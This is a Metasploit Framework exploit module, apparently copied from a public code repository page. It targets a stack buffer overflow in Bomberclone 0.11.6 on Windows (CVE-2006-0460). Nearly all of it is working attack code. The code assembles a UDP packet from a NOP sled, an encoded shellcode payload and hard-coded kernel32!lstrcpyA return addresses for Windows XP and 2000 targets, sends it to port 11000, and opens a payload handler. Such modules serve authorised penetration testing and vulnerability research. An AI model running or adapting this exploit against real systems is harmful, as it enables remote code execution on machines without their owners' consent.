Path: blob/master/modules/exploits/windows/misc/bomberclone_overflow.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Bomberclone 0.11.6 Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.17The return address is overwritten with lstrcpyA memory address,18the second and third value are the destination buffer,19the fourth value is the source address of our buffer in the stack.20This exploit is like a return in libc.2122ATTENTION23The shellcode is exec ONLY when someone try to close bomberclone.24},25'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',26'References' => [27['CVE', '2006-0460'],28['OSVDB', '23263'],29['BID', '16697']30],31'Payload' => {32'Space' => 344,33'BadChars' => "\x00"34},35'Platform' => 'win',36'Targets' => [37['Windows XP SP2 Italian', { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA38['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA39['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA40],41'Privileged' => false,42'DisclosureDate' => '2006-02-16',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([ Opt::RPORT(11000) ])52end5354def exploit55connect_udp5657pattern = make_nops(421)58pattern << payload.encoded59pattern << [ target.ret ].pack('V')60pattern << "\x04\xec\xfd\x7f" * 261pattern << "\xa4\xfa\x22\x00"6263request = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"6465print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret}...")6667udp_sock.put(request)68udp_sock.get(5)6970handler(udp_sock)71disconnect_udp72end73end747576